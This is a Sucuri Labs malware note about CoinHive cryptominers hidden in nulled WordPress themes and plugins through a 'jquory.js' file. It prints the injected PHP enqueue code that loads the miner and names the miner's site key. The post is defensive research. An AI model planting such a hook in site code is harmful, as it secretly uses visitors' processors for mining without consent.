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Labs Note

JQuory: Cryptomining in Nulled Themes and Plugins.

June 5, 2018Denis Sinegubko

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Three months ago b>@ninoseki</b revealed a group of sites with cryptomining scripts inside jquory.js files (yes, jquory instead of jquery).

Coinhive(“I2OG8vGGXjF7wMQgL37BhqG5aVPjcoQL”) is trigged by “jquory.js”. haha.https://t.co/jLhCucoOYU pic.twitter.com/xMDrpcwde6

— にのせき (@ninoseki) March 1, 2018

The attack uses the “I2OG8vGGXjF7wMQgL37BhqG5aVPjcoQL” CoinHive key, takes up 70% of processor time, doesn’t mine on mobile devices and, for some reason, uses the didOptOut function despite the fact that it relies on the coinhive[.]com/lib/coinhive.min.js, which doesn’t involve any opt-out screens.

At the time, PublicWWW had indexed 458 such sites.

That Twitter thread speculated that nulled themes were to blame. Actually, it’s not only nulled themes; nulled WordPress plugins also come with this jquory cryptominer. Below, is what a typical injection in a nulled theme/plugin looks like:

function enqueue_my_scripts() {  wp_enqueue_script( 'wp-internal', 'https://coinhive[.]com/lib/coinhive.min.js', false, false, true );  wp_enqueue_script( 'wp-backend', plugins_url() . '/essential-grid/assets/js/jquory.js', false, false, true );}

As of the beginning of June 2018, we already see 1300 sites with this malicious assets/js/jquory.js script. The “I2OG8vGGXjF7wMQgL37BhqG5aVPjcoQL” site key is still valid and continues to mine Monero

Nulled software is long known for coming with an undisclosed malicious content such as backdoors, unwanted ads, web spam and now cryptominers. Please stay away from pirated themes and plugins if you care about security and reputation of your websites.

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Categories: Sucuri Labs, Website Malware Infections, WordPress SecurityTags: Cryptominers, Labs Note, WordPress Plugins and Themes

About Denis Sinegubko

Denis Sinegubko is Sucuri’s Senior Malware Researcher who joined the company in 2013. Denis' main responsibilities include researching emerging threats and creating signatures for SiteCheck. The founder of UnmaskParasites, his professional experience covers over 20 years of programming and information security. When Denis isn’t analyzing malware, you might not find him online at all. Connect with him on Twitter.

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